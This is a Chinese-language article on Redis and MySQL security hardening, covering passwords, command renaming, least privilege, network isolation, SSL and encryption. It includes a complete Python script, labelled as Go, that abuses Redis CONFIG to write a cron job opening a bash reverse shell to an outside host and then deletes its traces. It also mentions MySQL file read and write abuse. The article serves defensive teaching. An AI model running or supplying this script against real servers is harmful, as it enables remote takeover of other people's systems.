系统安全 - Redis&MySQL安全及实践

文章目录


导图


Redis 安全

Redis的设计初衷是为了在可信环境下提供高性能的KV数据库服务,因此它的安全设计较为简陋,这也导致了其在公开网络中的安全性较差。

潜在的安全风险

  • 数据篡改 :如果黑客成功连接到Redis服务器,他们可以通过命令如FLUSHALL清空所有数据。
  • 命令执行 :Redis虽然不能直接执行命令,但通过配置文件操作如CONFIG,攻击者可以间接写入如crontab的恶意任务,从而执行系统命令来控制服务器。
go 复制代码
import redis

r = redis.Redis(host='10.0.0.1', port=6379, db=0, socket_timeout=10)
payload = '\n\n*/1 * * * * /bin/bash -i >& /dev/tcp/1.2.3.4/8080 0>&1\n\n'
path = '/var/spool/cron'
name = 'root'
key = 'payload'

# 设置 Redis 键值对
r.set(key, payload)

# 配置 Redis 操作目录并保存恶意 payload 到 cron 文件
r.config_set('dir', path)
r.config_set('dbfilename', name)
r.save()

# 删除 Redis 中的键值对,清除操作痕迹
r.delete(key)

# 将 Redis 的工作目录恢复到临时目录
r.config_set('dir', '/tmp')

利用 Redis 的 CONFIG 命令和一些其他命令来尝试进行恶意操作,在目标系统上植入一个反向 shell,并清除操作痕迹。这种攻击模式通常涉及篡改系统的 cron 任务计划文件 (/var/spool/cron) 来启动恶意 shell


防护措施

密码认证

redis.conf中设置requirepass来增加密码认证,虽然这可能会略微影响性能,但对于在不受信网络中的Redis部署,强密码认证是必不可少的,比较推荐随机生成一个 32 位的"数字加字母"的密码。

命令重命名

通过rename-command将敏感命令如CONFIGFLUSHALL重命名为随机字符串,避免黑客轻易调用这些命令。 比如 rename-command CONFIG pUVEYEvdaGH2eAHmNFcDh8Qf9vOej4Ho

权限最小化

Redis应以低权限用户(如nobody)运行,避免root权限运行,防止攻击者获取到过高的权限。(Redis 本身也需要保存日志和持久化数据,所以,它仍然需要写入日志文件的权限(小于 ROOT 权限)来保证正常运行)

日志和审计 Red

is的日志功能相对简单,没有详细的审计信息,因此在重要应用中,建议结合外部日志系统进行日志收集和分析。

网络隔离

建议通过防火墙或网络策略限制外部访问Redis实例,仅允许可信IP访问。


MySQL 安全

与Redis相比,MySQL作为一个成熟的关系型数据库,其安全机制要完善得多,提供了认证、授权、加密等一系列功能。

认证和授权

  • MySQL的多用户认证体系将用户的信息存储在mysql.user表中,并支持密码过期、密码重用限制、密码强度评估等功能,提供了较为全面的密码管理。
  • MySQL的授权机制通过GRANT命令赋予用户对特定数据库或表的权限,支持细粒度的权限控制。GRANT ALL PRIVILEGES ON db.table TO user@"127.0.0.1" IDENTIFIED BY "password"

文件操作风险

  • MySQL提供了对本地文件的读写功能,例如通过LOAD DATA INFILE读取文件,SELECT ... INTO DUMPFILE写入文件。这些功能虽然方便,但如果配置不当,可能会被黑客利用来读取敏感文件或写入恶意脚本。

传输和存储加密

  • 传输加密 :MySQL支持通过SSL加密客户端和服务器之间的通信。通过配置ssl-cassl-certssl-key等参数可以启用SSL。

  • 存储加密 :MySQL支持基于keyring_file插件的硬盘加密,表密钥通过主密钥加密后存储在表的表头中。需要注意备份主密钥文件,以防止数据丢失。


最小权限原则

  • MySQL会自动创建一个权限较低的mysql用户用于运行MySQL进程,避免以root权限运行数据库实例。

审计

虽然MySQL本身不提供内置的审计功能,但可以通过第三方插件如McAfee的mysql-audit或MariaDB的审计插件进行操作日志的收集和分析。


总结

  • Redis:主要在于性能优先,因此其安全功能较少。通过设置密码、限制网络访问、使用非root用户运行等方式,能在一定程度上提升安全性。
  • MySQL:功能更加完善,具有强大的认证、授权、加密和最小权限配置,通过合理配置这些安全功能,可以显著提升MySQL的安全性。
相关推荐
走,我们去吹风29 分钟前
redis实现分布式锁,go实现完整code
redis·分布式·golang
三日看尽长安花1 小时前
【Redis:原理、架构与应用】
数据库·redis·架构
黑龙江亿林等级保护测评2 小时前
做等保二级备案需要准备哪些材料
网络·安全·金融·智能路由器·ddos
星海幻影3 小时前
网络安全知识见闻终章 ?
网络·安全·web安全
kinlon.liu3 小时前
安全日志记录的重要性
服务器·网络·安全·安全架构·1024程序员节
马戏团小丑3 小时前
fastjson/jackson对getter,setter和constructor的区分
java·安全
岁岁岁平安3 小时前
mysql上课总结(1)(mysql中的常见的存储引擎)(面试)
数据库·mysql·innodb·存储引擎
hanniuniu134 小时前
动态威胁场景下赋能企业安全,F5推出BIG-IP Next Web应用防火墙
网络协议·tcp/ip·安全